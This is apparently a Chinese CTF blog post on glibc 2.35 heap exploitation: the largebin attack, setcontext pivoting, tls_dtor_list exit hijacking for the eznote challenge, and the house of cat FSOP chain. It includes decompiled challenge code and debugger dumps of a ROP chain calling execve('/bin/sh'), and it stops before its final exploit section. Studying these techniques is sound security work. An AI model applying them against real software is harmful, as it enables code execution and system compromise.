# glibc 2.35 ubuntu3 下的利用手法。

原本我们以为 2.35 的时代不会来的这么快,但是最近 DS360ctf,以及强网杯几道题目的出现让 glibc 的 pwn 生存条件急剧下降。

首先我们谈谈为什么很多师傅都人为 2.35 的堆 pwn 是一个寒冬:

# 现状:

之所以这样讲,一部分原因在于由于高版本的 glibc 的安全特性,封锁掉了很多的后门,特别是几个重要的 hook 不再是我们可以利用的了。但是这并不是让题目更难,觉得反而是解题出现严重的两级分化,一部分师傅研究过几个手法,几乎就可以做到一口气解决,因为利用的手法比较单一,就那么几种,即便是先提出的手法,其实原理也是大同小异。而对于不了解的师傅,就会陷入深渊,没有后门,或者自己习惯的后门都被堵上了,怎么走。

我们发现,其实大部分的情况都都是因为 hook 被禁止。而最近出现的手法,就要求我们要继续挖掘 io 的利用链。

所以这次我就要花费一些时间整理一部分。主要还是基于目前出现的一些题目的复现。

** 在 35 时代,我们必须学会 largebinattack

目前计划着是有

  • house of apple 1
  • house of apple 2
  • house of apple 3
  • house of cat
  • house of emma
  • house of banana
  • tls 劫持

# 一些小总结:

目前遇到的 2.35 的题目都是基于同一个版本

1
2
3
dreamcat@dreamcat-virtual-machine:~/Desktop/360dsctf/eznote$ strings libc.so.6 |grep ubuntu
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

# largebinattack

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
else
{
victim_index = largebin_index (size); //largebins
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //相比于2.29新增加的判断
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd) ////相比于2.29新增加的判断
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

相比于 2.29,新增加了两个检查。因为这些检查的原因,我们只有插入小 size 额可以实现 attack,

# 要求

  1. 对应的 bin 中只有一个 free_chunk,(此时 fd_nextsize,bk_nextsize 都指向自己)
  2. 修改 free_chunk 的 bk_nextsize 为目标地址减去 0x20.

# setcontext

在新的版本中,setcontext 不再是直接使用 rdi,而是使用 rdx 进行参数的一些设置。所以需要一些手段在 setcontext 之前,能够设置 rdx 为可控制的堆空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  0x7f2c07abea6d <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]
► 0x7f2c07abea74 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7f2c07abea7b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
0x7f2c07abea7f <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7f2c07abea83 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7f2c07abea87 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7f2c07abea8b <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7f2c07abea8f <setcontext+95> test dword ptr fs:[0x48], 2
0x7f2c07abea9b <setcontext+107> je setcontext+294 <setcontext+294>

0x7f2c07abeb56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7f2c07abeb5d <setcontext+301> push rcx
0x7f2c07abeb5e <setcontext+302> mov rsi,QWORD PTR [rdx+0x70]
0x7f2c07abeb62 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
0x7f2c07abeb66 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
0x7f2c07abeb6d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
0x7f2c07abeb71 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
0x7f2c07abeb75 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
0x7f2c07abeb7c <setcontext+332>: xor eax,eax
0x7f2c07abeb7e <setcontext+334>: ret

rdx 我们提前布置为我们可以控制的堆上,保证 rbp 大于、等于 rsp。除了 rcx,其他寄存器直接设置为 0,这里单独提出来 rcx,是因为 setcontext 最后 ret 的时候相当于,mov rip,[rsp]。加一个 ret 后,就可以劫持程序栈 rip.

1
2
3
4
5
6
7
8
9
10
 RBP  0x563dfde0ada0 —▸ 0x7f3391d8b3e5 (iconv+197) ◂— pop    rdi
RSP 0x563dfde0ad98 —▸ 0x7f3391db4b52 (setcontext+290) ◂— ret
*RIP 0x7f3391db4b7e (setcontext+334) ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f3391db4b66 <setcontext+310> mov rcx, qword ptr [rdx + 0x98]
0x7f3391db4b6d <setcontext+317> mov r8, qword ptr [rdx + 0x28]
0x7f3391db4b71 <setcontext+321> mov r9, qword ptr [rdx + 0x30]
0x7f3391db4b75 <setcontext+325> mov rdx, qword ptr [rdx + 0x88]
0x7f3391db4b7c <setcontext+332> xor eax, eax
0x7f3391db4b7e <setcontext+334> ret

我们的 rbp 设置为 rop 的开始而不是在下一条。但是我还没有搞清楚是否可以用 leave;ret; 浅尝了一下,不可以

# tls 劫持 exit 执行流

# 前提条件

  • 任意地址写一个堆地址,
  • 泄露出 heap 地址,libc 地址
  • 我们可以改写一个 chunk 的头部信息,prev_size,size。
  • 程序可以执行 exit(这里我们仅仅测试了 main 函数直接 retutrn, 显式调用 exit 应该也可以,或者报错)

# 这里我们以 360dsctf 的 eznote 为例题,

程序实现了基本的增删改查,程序初始化的时候,申请了一个 chunk 用作一个指针数组,用于储存我们申请的 note.

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 init_0()
{
unsigned __int64 v1; // [rsp+8h] [rbp-10h]

v1 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
alarm(0x78u);
gp = (global_list *)calloc(7uLL, 0x18uLL);
return __readfsqword(0x28u) ^ v1;
}

这里储存的结构体的大小为 0x18 字节,gp 一共申请了 7 个。

1
2
3
4
5
6
7
00000000 note            struc ; (sizeof=0x18, mappedto_15)
00000000 ; XREF: global_list/r
00000000 size dq ? ; XREF: add+28/r
00000008 ptr dq ? ; offset
00000010 real_size dq ?
00000018 note ends
00000018

size 是我们在申请 chunk 的时候提供的,real_size 是我们输入的数据的长度。

问题出在 add 的时候,同时存在的 note 的数量判断。这里值判断是否大于 7,所以我们申请第 8 个的时候,可以通过检查,那么就造成了数组的御姐,数组储存在 chunk 中,势必会影响下一个 chunk 的头部数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int add()
{
__int64 count; // rbp
__int64 v1; // rbx
__int64 size; // rax
__int64 v3; // r12
char *ptr; // r13
char *real_size; // rax
note *v6; // rbx

if ( (unsigned __int64)nums > 7 )
return puts("Too many notes.");
count = 0LL;
v1 = 1LL;
if ( gp->list[0].ptr )
{
while ( 1 )
{
++count;
if ( !gp->list[v1].ptr || count == 7 )
break;
++v1;
}
}
else
{
v1 = 0LL;
}
__printf_chk(1LL, "Size: ");
size = getnum();
v3 = size;
if ( size <= 0x3FF )
return puts("Invalid size.");
ptr = (char *)calloc(size, 1uLL);
__printf_chk(1LL, "Content: ");
real_size = read_n(0, ptr, v3);
v6 = &gp->list[v1];
v6->size = v3;
++nums;
v6->ptr = ptr;
v6->real_size = (__int64)real_size;
return __printf_chk(1LL, "Note%lu saved.\n", count);
}

数组最小限制为 0x400, 没有上限,所以我们可以尽情的构造较大的 chunk。

观察到,数组溢出时候的情况。因为我们申请 gp 数组的堆块大小只有 0xb0, 实际使用空间只有 0xa8, 那么,我们申请的 7 个结构体恰好可以沾满,那么第 8 个结构体的 size 就会占据下一个 chunk 的头部,修改 chunk_size。如果我们前面的 chunk 申请的比较小,第八个申请的很大,就会导致第一个 chunk 的 size 被更改,实现 overlap。

主义的时,一旦 8 号 chunk 申请处理啊,就无法 free。

泄露地址。

在向 note 中读入数据的时候,会自动补全空字符。输出使用格式化字符串,只是 add 时使用了 calloc,初始化 chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char *__fastcall read_n(int fd, char *ptr, __int64 size)
{
char *v3; // r14
char *pos; // r15
__int64 v5; // rbx
char *end; // r13
__int64 v7; // rsi
char buf; // [rsp+17h] [rbp-41h] BYREF
unsigned __int64 v11; // [rsp+18h] [rbp-40h]

v3 = ptr;
v11 = __readfsqword(0x28u);
buf = 0;
if ( size )
{
pos = ptr;
v5 = 1LL - (_QWORD)ptr;
end = &ptr[size];
while ( 1 )
{
v7 = (__int64)&pos[v5];
if ( read(fd, &buf, 1uLL) <= 0 || buf == 10 )
break;
*pos++ = buf;
if ( pos == end )
goto LABEL_8;
}
*pos = 0;
}
else
{
LABEL_8:
v3[size - 1] = 0;
v7 = size;
}
return (char *)v7;
}

修改掉第一个 notechunk 的 size 后,直接将其 free,就会将第二个覆盖到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/28gx 0x5572d1a52290
0x5572d1a52290: 0x0000000000000000 0x00000000000000b1
0x5572d1a522a0: 0x0000000000000000 0x0000000000000000
0x5572d1a522b0: 0x0000000000000000 0x0000000000000418
0x5572d1a522c0: 0x00005572d1a52770 0x0000000000000418
0x5572d1a522d0: 0x0000000000000418 0x00005572d1a52b90
0x5572d1a522e0: 0x0000000000000418 0x0000000000000418
0x5572d1a522f0: 0x00005572d1a52fb0 0x0000000000000418
0x5572d1a52300: 0x0000000000000418 0x00005572d1a533d0
0x5572d1a52310: 0x0000000000000418 0x0000000000000418
0x5572d1a52320: 0x00005572d1a537f0 0x0000000000000418
0x5572d1a52330: 0x0000000000000418 0x00005572d1a53c10
0x5572d1a52340: 0x0000000000000418 0x0000000000000841 //原本为0x421
0x5572d1a52350: 0x00007fa2a9bbace0 0x00007fa2a9bbace0
0x5572d1a52360: 0x0000000000000000 0x0000000000000000

重新申请第一个 chunk 区域,第二个 chunk 的数据就会被更改了。

我们就完成了 libc 的泄露,下面就是堆 heap 地址的泄露,只要有了 overlap 我们就完成了两地址的泄露 ,这里不在细说。

接下来就是利用 largebinattack 攻击,首先修改 tls_dtor_list 的值为一个我们可控制的 chunk 地址。然后修改 secret 为已知可控地址。secret 是 tcache,fastbin 加密 key。

tls_dtor_list 结构体的为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*(struct dtor_list *) 0x563bed37d920
$8 = {
func = 0x525a0543f9580000,
obj = 0x7f16ef9363e5 <iconv+197>,
map = 0x7f16efae4698,
next = 0x7f16ef937e51 <__gconv_close_transform+225>
}

+++++++++++++++++++++++
pwndbg> tel 0x563bed37d920 10
00:00000x563bed37d920 ◂— 0x525a0543f9580000
01:00080x563bed37d928 —▸ 0x7f16ef9363e5 (iconv+197) ◂— pop rdi
02:00100x563bed37d930 —▸ 0x7f16efae4698 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:00180x563bed37d938 —▸ 0x7f16ef937e51 (__gconv_close_transform+225) ◂— pop rsi
04:00200x563bed37d940 ◂— 0x0
05:00280x563bed37d948 —▸ 0x7f16efa2b497 (qecvt+39) ◂— pop rdx
06:00300x563bed37d950 ◂— 0x0
07:00380x563bed37d958 ◂— 0x0
08:00400x563bed37d960 —▸ 0x7f16ef9f70f0 (execve) ◂— endbr64

总结下,这里。00 的位置,其实是任意代码执行的,除了可以写 leave,但是貌似这里的写法已经很直接,所以我们无需再更改,如有需要可以写为 orw.secret 其实是否需要改写,是根据是否可以泄露出 secret 而定,如果可以,就不需要改写,一些攻击即可。

我们修改 tls_dtor_list 为一个堆头地址,我们还要将这个头部改写,因为任意代码执行就是这个直接地址开始的。

关于 largebinattack,如果 bin 只有一个 free_chunk,我们攻击的话,只需要修改其 bk_nextsize。

同时,我们也可以进行多次攻击,只要是 size 比第一个小,就会进行前插,但是这次不是修改第一个头的 bk_next, 而是第一次那个。就是说在同一个位置修改,其他尽量保持不变。

关键就在与修改 tls_dtor_list,开始这里是空的,将其指向一个 chunk, 并且完全控制这里,在这里构造一个 leave ret 加上 rop,注意的是 leaveret 的地址要进行加密。

# house of cat

这是一个比较新的路径,是 catF1y 师傅挖出来的一条链子,并且在强网杯初赛部署了同名题目。但是,就在比赛前夕,以为师傅连更两条博客,house of apple2 以及 house of apple3,导致了题目被非预期。同时,我们也尝试了使用 house of emma,成功非预期。这里就先开始预期解的 house of cat 的学习记录。

高版本的 glibc 就是对 io 的疯狂脑洞输出。house of cat 也是一个有关 io 的利用路径。

# 利用条件

  • 1. 能够任意地址写一个可控堆地址。
  • 2. 能够泄露堆地址和 libc 基址。
  • 3. 能够触发 IO 流(FSOP 或触发__malloc_assert),执行 IO 相关函数。

其实从这里我们看出,这里的利用条件与其他的一些手法极为相似,基本就是利用 exit () 函数退出的一些操作。随着版本的迭代,glibc 对于虚表的保护也是不断的更新,首先就是对于 io_file_jump 的检查,包括但不限于禁止直接修改虚表内容、检查虚表地址是否合法(在规定的虚表地址范围内)。其实之前我们讲过利用 io_str_jump 的虚表绕过检查,但是当时的方法的弊端就是两个函数_IO_str_overflow 以及_IO_str_finish 的相关漏洞被封死。

这里作者利用了一个新的 io 虚表结构体_IO_wfile_jumps,然后下面的操作与_IO_str_jumps 非常相似,甚至函数名字都很相似

这里我先介绍下目标函数是如何实现然亦函数调用的,

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

原理,利用程序报错__malloc_asset 报错调用 xsputn, 替换该虚表函数为 _IO_wfile_seekfoff

FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

其中的函数(_IO_wfile_seekoff)的内部结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}

如果 mode!=0 且 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 会调用_IO_switch_to_wget_mode 这个函数,继续跟进代码。虽然说这里要求的是 mode 值不为零,但是在最开始伪造的时候,mode 设置却还是 0,不过调试的时候,发现这里可能会发生变化,从我们传入的 0 变为了 - 1。经过测试,最开始也可以将 mode 设置为 1 ,后面触发__malloc_assert,mode 不会被更改。(这条仅在 house of cat 同名题目测试)。

1
2
3
4
5
6
7
int _IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}

而_IO_WOVERFLOW 是 glibc 里定义的一个宏调用函数

1
2
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

可以看到对_IO_WOVERFLOW 没有进行任何检测,为了便于理解,我们再来看看汇编代码

1
2
3
4
5
6
7
8
9
10
11
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

在造成任意地址写一个堆地址的基础上,这里的寄存器 rdi(fake_IO 的地址)、rax 和 rdx 都是我们可以控制的,

rdi 是我们伪造的 io_file 的地址,我们将 rax 控制为堆上的一个地址,就可以实现任意函数的调用。

这里还要补习一下 setcontext 的知识

在开启沙箱的情况下,假如把最后调用的 [rax + 0x18] 设置为 setcontext,把 rdx 设置为可控的堆地址,就能执行 srop 来读取 flag;如果未开启沙箱,则只需把最后调用的 [rax + 0x18] 设置为 system 函数,把 fake_IO 的头部写入 /bin/sh 字符串,就可执行 system ("/bin/sh")

fake_IO 结构体需要绕过的检测

1
2
3
4
5
_wide_data->_IO_read_ptr !=_wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp``-``>_lock是一个可写地址
fp``-``>_mode ``=` `0

大致的攻击流程

  1. 修改_IO_list_all 为可控地址(FSOP)或修改 stderr 为可控地址 (__malloc_assert)。
  2. 在上一步的可控地址中伪造 fake_IO 结构体。
  3. 通过 FSOP 或 malloc 触发攻击。

但是当我进行到这里的时候,我发现不能独立正常的复现,因为作者的文章并没有给出这条完整利用链。

# 问题

  • 完整的利用链是从哪里触发, 完整的函数调用链是怎么样的?
  • 作者提出了两个不同的流程,一个是进行 FSOP,利用的是_IO_flush_all_lockp 函数来刷新所有的 IO 流。也就是说最后是进入 flush 函数,进行一系列的调用,对应的就是虚表中的_IO_overflow. 但是_IO_flush_all_lockp 触发的前提应该是能执行 exit (显式调用、libc 调用 abort、以及 main 函数正常退出)
  • 另外一个思路是利用利用__malloc_assert 触发的报错。会使用 stderr 进行一个报错输出

以上,house of cat 的关键点是 JUMP_INIT (seekoff, _IO_wfile_seekoff), 顺利的进入后又会执行 _IO_switch_to_wget_mode (fp),最大的问题就是如何进入这里 _IO_wfile_seekoff?

以下为个人的分析过程

我们要知道这里代替了谁。函数的入口在于 IO 函数初始化后调用谁的问题,因为我们是对 vtable 进行了偏移替换,所以我们将二者进行一个对比。

修改前的 IO_list_all 的对应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f56882ae680 <_IO_list_all>
pwndbg> p *(struct _IO_FILE_plus **) 0x7f56882ae680
$2 = (struct _IO_FILE_plus *) 0x7f56882ae6a0 <_IO_2_1_stderr_>
pwndbg> p *(struct _IO_FILE_plus *) 0x7f56882ae6a0
$3 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7f56882ae724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f56882ae780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7f56882afa60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f56882ad8a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f56882aa600 <_IO_file_jumps>
}
pwndbg> p _IO_file_jumps
$4 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f5688120070 <_IO_new_file_finish>,
__overflow = 0x7f5688120e40 <_IO_new_file_overflow>,
__underflow = 0x7f5688120b30 <_IO_new_file_underflow>,
__uflow = 0x7f5688121de0 <__GI__IO_default_uflow>,
__pbackfail = 0x7f5688123300 <__GI__IO_default_pbackfail>,
__xsputn = 0x7f568811f680 <_IO_new_file_xsputn>,
__xsgetn = 0x7f568811f330 <__GI__IO_file_xsgetn>,
__seekoff = 0x7f568811e960 <_IO_new_file_seekoff>,
__seekpos = 0x7f5688122530 <_IO_default_seekpos>,
__setbuf = 0x7f568811e620 <_IO_new_file_setbuf>,
__sync = 0x7f568811e4b0 <_IO_new_file_sync>,
__doallocate = 0x7f5688112b90 <__GI__IO_file_doallocate>,
__read = 0x7f568811f9b0 <__GI__IO_file_read>,
__write = 0x7f568811ef40 <_IO_new_file_write>,
__seek = 0x7f568811e6f0 <__GI__IO_file_seek>,
__close = 0x7f568811e610 <__GI__IO_file_close>,
__stat = 0x7f568811ef30 <__GI__IO_file_stat>,
__showmanyc = 0x7f56881234a0 <_IO_default_showmanyc>,
__imbue = 0x7f56881234b0 <_IO_default_imbue>
}

修改后 (地址不一样,看偏移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> p *(struct _IO_FILE_plus *) 0x562fcda56370
$7 = {
file = {
_flags = 0,
_IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>,
_IO_read_end = 0x7f2b2d5cc0e0 <main_arena+1120> " t\245\315/V",
_IO_read_base = 0x562fcda55290 "",
_IO_write_base = 0x562fcda55290 "",
_IO_write_ptr = 0x7f2b2d5cc840 <_IO_2_1_stdout_+192> "",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>,
_IO_save_base = 0x0,
_IO_backup_base = 0x562fcda57cd0 "",
_IO_save_end = 0x7f2b2d405a6d <setcontext+61> "H\213\242\240",
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x562fcda56000,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x562fcda563a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f2b2d5c80d0 <_IO_wfile_jumps+16>
}
pwndbg> p _IO_file_jumps
$8 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f2b2d43e070 <_IO_new_file_finish>,
__overflow = 0x7f2b2d43ee40 <_IO_new_file_overflow>,
__underflow = 0x7f2b2d43eb30 <_IO_new_file_underflow>,
__uflow = 0x7f2b2d43fde0 <__GI__IO_default_uflow>,
__pbackfail = 0x7f2b2d441300 <__GI__IO_default_pbackfail>,
__xsputn = 0x7f2b2d43d680 <_IO_new_file_xsputn>,
__xsgetn = 0x7f2b2d43d330 <__GI__IO_file_xsgetn>,
__seekoff = 0x7f2b2d43c960 <_IO_new_file_seekoff>,
__seekpos = 0x7f2b2d440530 <_IO_default_seekpos>,
__setbuf = 0x7f2b2d43c620 <_IO_new_file_setbuf>,
__sync = 0x7f2b2d43c4b0 <_IO_new_file_sync>,
__doallocate = 0x7f2b2d430b90 <__GI__IO_file_doallocate>,
__read = 0x7f2b2d43d9b0 <__GI__IO_file_read>,
__write = 0x7f2b2d43cf40 <_IO_new_file_write>,
__seek = 0x7f2b2d43c6f0 <__GI__IO_file_seek>,
__close = 0x7f2b2d43c610 <__GI__IO_file_close>,
__stat = 0x7f2b2d43cf30 <__GI__IO_file_stat>,
__showmanyc = 0x7f2b2d4414a0 <_IO_default_showmanyc>,
__imbue = 0x7f2b2d4414b0 <_IO_default_imbue>
}

我们看到这里对应的入口点就是 xsputn。当__malloc_assert 进行 __fxprintf 调用的时候,进行错误输出的时候,

1
2
3
4
5
6
7
8
9


__fxprintf ————》》

locked_vfxprintf ————》》
__vfprintf_internal ————》》 //0x7f6fb038d15d <__vfprintf_internal+173> call *ABS*+0xab090@plt
__strchrnul_avx2;ret
__libc_cleanup_push_defer;ret
0x7f6fb038d1c8 <__vfprintf_internal+280> call qword ptr [r12 + 0x38] //调用目标函数<__GI__IO_wfile_seekoff>

# 下面我们直接来看题目。

开始的逆向过程就不再赘述。

程序确实实现了增删改查的功能,但是对于改的次数做出了严格的限制,只允许进行两次更改,而且程序没有结束功能,也就是说,我们如果想利用 io 必须触发报错__malloc_assert。由于我们只有两次修改的机会,那么其实我们已经想好了怎么做,一次用来出发报错,一次用来伪造 io 结构。

我们来看程序的实现,

# add

在创建的 chunk 的时候,最多允许我们创建 16 个 cat,并且对 size 的大小进行了限制

1
size <= 0x417 || size > 0x46F

只允许的 largebin 范围的堆块的创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void add()
{
unsigned __int64 idx; // [rsp+0h] [rbp-10h]
size_t size; // [rsp+8h] [rbp-8h]

writen("plz input your cat idx:\n");
idx = getint();
if ( idx > 0xF || list[idx] )
{
writen("invalid!\n");
}
else
{
writen("plz input your cat size:\n");
size = getint();
if ( size <= 0x417 || size > 0x46F )
{
writen("invalid size!\n");
}
else
{
list[idx] = calloc(1uLL, size);
if ( list[idx] )
{
size_list[idx] = size;
writen("plz input your content:\n");
read(0, list[idx], size_list[idx]);
}
else
{
writen("error!\n");
}
}
}
}

同时,因为使用 了 calloc 函数,会对我们申请出来的 chunk 进行一个初始化。read 允许我们输入空字符。

接下来我们看看删除

# delete

1
2
3
4
5
6
7
8
9
10
11
void del()
{
unsigned __int64 v0; // [rsp+8h] [rbp-8h]

writen("plz input your cat idx:\n");
v0 = getint();
if ( v0 <= 0xF && list[v0] )
free(list[v0]);
else
writen("invalid!\n");
}

明显的一个 uaf,可以用来泄露数据。

所以我们在看下 show

# show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void show()
{
unsigned __int64 v0; // [rsp+8h] [rbp-8h]

writen("plz input your cat idx:\n");
v0 = getint();
if ( v0 <= 0xF && list[v0] )
{
writen("Context:\n");
write(1, list[v0], 0x30uLL);
}
else
{
writen("invalid!\n");
}
}

使用 write,允许输出空字符,最多输出 0x30 字节,这已经够了,我们只要释放两个不相连的 chunk 就可以实现两地址的泄露,但是,这里要注意到,这个 uaf 的负面影响就是,我们不可以再向对应的 idx 申请 chunk,所以我们要控制数量。

# 攻击

简单的布局下 chunk,泄露出两个地址, 然后准备进行 largebinattack

1
2
3
4
5
6
7
8
9
10
11
